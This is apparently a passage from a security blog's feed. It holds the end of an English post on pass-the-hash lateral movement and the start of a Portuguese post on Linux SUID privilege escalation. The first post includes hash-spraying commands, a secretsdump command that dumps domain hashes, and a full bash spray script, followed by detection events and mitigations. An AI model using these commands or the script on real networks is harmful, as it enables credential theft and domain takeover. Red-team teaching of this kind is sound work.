&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;dir \\&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;192.168&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1.20&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;\C$        &lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# direct access without password prompt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;net use \\&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;192.168&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1.20&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;\C$    &lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# maps the share&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;movement-in-domain-environments&quot;&gt;Movement in domain environments&lt;/h2&gt;
&lt;h3 id=&quot;identifying-hosts-with-the-same-local-hash&quot;&gt;Identifying hosts with the same local hash&lt;/h3&gt;
&lt;p&gt;Legacy Windows environments often have the local &lt;code&gt;.\Administrator&lt;/code&gt; account with the &lt;strong&gt;same password&lt;/strong&gt; on all workstations (identical OS image). A single hash compromises the entire subnet.&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Quick mapping of assets with the same hash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;crackmapexec&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; smb&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; 10.10.10.0/24&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -u&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; Administrator&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -H&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;ntlm_has&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;h&gt; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  --continue-on-success&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;  | &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;grep&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;Pwn3d&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;pivoting-to-the-domain-controller&quot;&gt;Pivoting to the Domain Controller&lt;/h3&gt;
&lt;p&gt;If the captured hash belongs to a &lt;strong&gt;Domain Admin&lt;/strong&gt;:&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Dump NTDS.dit via secretsdump (all domain hashes)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;secretsdump.py&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -hashes&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;da_nt_has&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;h&gt; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;  DOMAIN/DomainAdmin@192.168.1.1&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -just-dc-ntlm&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Result: hundreds of hashes, including krbtgt for Golden Ticket&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;automation-script&quot;&gt;Automation script&lt;/h2&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#!/bin/bash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# pth_spray.sh — Tests NTLM hash against IP range via CrackMapExec&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;TARGET_RANGE&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#E06C75;font-style:italic&quot;&gt;${1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;:-&lt;/span&gt;&lt;span style=&quot;color:#E06C75;font-style:italic&quot;&gt;192&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#E06C75;font-style:italic&quot;&gt;168&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#E06C75;font-style:italic&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#E06C75;font-style:italic&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#E06C75;font-style:italic&quot;&gt;24}&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;USER&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#E06C75;font-style:italic&quot;&gt;${2&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;:-&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;Administrator&lt;/span&gt;&lt;span style=&quot;color:#E06C75;font-style:italic&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;HASH&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#E06C75;font-style:italic&quot;&gt;${3}&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; [[ &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;-z&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;quot;&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$HASH&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;quot; ]]; &lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;then&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;  echo&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;Usage:&lt;/span&gt;&lt;span style=&quot;color:#E06C75;font-style:italic&quot;&gt; $0&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;   &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;cid&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;r&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;use&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;r&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;nt_has&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;h&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;  exit&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;fi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;[*] Starting PtH spray on &lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$TARGET_RANGE&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; as &lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$USER&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;[*] Hash: ${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;HASH&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}...redacted&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;crackmapexec&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; smb&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$TARGET_RANGE&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;  -u&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$USER&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;  -H&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$HASH&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;  --continue-on-success&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 2&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;gt&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;/dev/null&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;  | &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;tee&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /tmp/pth_results.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;PWNED&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;$(&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;grep&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -c&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;Pwn3d&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;/tmp/pth_results.txt&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;[+] Compromised hosts: &lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$PWNED&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;[*] Results in: /tmp/pth_results.txt&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&gt; &lt;strong&gt;WARNING:&lt;/strong&gt; This technique should only be used in Red Team engagements with written authorization. Unauthorized use is a crime.&lt;/p&gt;
&lt;h2 id=&quot;detection&quot;&gt;Detection&lt;/h2&gt;
&lt;p&gt;Defenders should monitor:&lt;/p&gt;






























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Indicator&lt;/th&gt;&lt;th&gt;Event ID&lt;/th&gt;&lt;th&gt;Description&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Logon with hash (no password)&lt;/td&gt;&lt;td&gt;4624&lt;/td&gt;&lt;td&gt;Logon Type 3, without complete NTLMv2 challenge&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Widespread use of local admin&lt;/td&gt;&lt;td&gt;4648&lt;/td&gt;&lt;td&gt;Explicit logon with alternate credentials&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Known tools&lt;/td&gt;&lt;td&gt;7045&lt;/td&gt;&lt;td&gt;PSEXESVC service created&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Authentication anomaly&lt;/td&gt;&lt;td&gt;4776&lt;/td&gt;&lt;td&gt;Unusual host NTLM auth&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h2 id=&quot;mitigations&quot;&gt;Mitigations&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;KB2871997&lt;/strong&gt; — Restricts use of hashes for local accounts (except RID 500)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Protected Users Security Group&lt;/strong&gt; — Forces Kerberos, disables NTLM&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Credential Guard&lt;/strong&gt; — Isolates LSA in VTL1, prevents extraction via Mimikatz&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LAPS (Local Administrator Password Solution)&lt;/strong&gt; — Unique passwords per host, eliminates spray&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tiering model&lt;/strong&gt; — Isolates domain admin accounts from workstations&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Disable NTLMv1&lt;/strong&gt; — Via GPO: &lt;code&gt;Network security: LAN Manager authentication level&lt;/code&gt;&amp;#x3C;/nt_hash&gt;&amp;#x3C;/da_nt_hash&gt;&amp;#x3C;/ntlm_hash&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><author>redteam@kbmsecurity.com.br</author><category>lateral</category><category>pass-the-hash</category><category>ntlm</category><category>lateral-movement</category><category>windows</category><category>mimikatz</category><category>impacket</category><difficulty>medium</difficulty></item><item><title>Abuso de SUID — Escalando para Root com Binários Esquecidos</title><link>https://www.kbmsecurity.com.br/blog/post/suid-abuse-linux/</link><guid isPermaLink="true">https://www.kbmsecurity.com.br/blog/post/suid-abuse-linux/</guid><description>Como binários SUID mal configurados no Linux podem ser usados como arma para escalonamento de privilégios usando técnicas do GTFOBins e scripts de enumeração customizados.</description><pubDate>Tue, 14 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;o-que-é-suid&quot;&gt;O que é SUID?&lt;/h2&gt;
&lt;p&gt;O bit &lt;strong&gt;SUID (Set User ID)&lt;/strong&gt; é uma permissão especial do Linux que faz com que um executável rode com os &lt;strong&gt;privilégios do dono do arquivo&lt;/strong&gt; em vez do usuário que o invocou.&lt;/p&gt;
&lt;p&gt;Quando um binário cujo dono é &lt;code&gt;root&lt;/code&gt; possui o bit SUID ativado, qualquer usuário que o execute ganha acesso temporário em nível de root pela duração daquele processo. Isso é intencional para binários como &lt;code&gt;/usr/bin/passwd&lt;/code&gt; — mas se torna um vetor crítico de ataque quando encontrado em binários inesperados.&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Exemplo de permissão — o &apos;s&apos; na posição de execução do dono = SUID ativado&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;-rwsr-xr-x&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; root&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; root&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 67816&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; Jan&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  5&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; 12:00&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /usr/bin/passwd&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;#x26;CK:&lt;/strong&gt; Esta técnica é mapeada como &lt;a href=&quot;https://attack.mitre.org/techniques/T1548/001/&quot;&gt;T1548.001 — Setuid and Setgid&lt;/a&gt; sob a tática de Escalonamento de Privilégios (Privilege Escalation - TA0004).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id=&quot;passo-1--enumerar-binários-suid&quot;&gt;Passo 1 — Enumerar Binários SUID&lt;/h2&gt;
&lt;p&gt;O primeiro passo é encontrar todos os binários com SUID habilitado no sistema.&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Encontra todos os binários SUID (suprime erros de permissão negada)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -perm&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -u=s&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -type&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; f&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; 2&gt;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;/dev/null&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Limita a busca a caminhos comuns de binários para maior velocidade&lt;/span&gt;&lt;/span&gt;
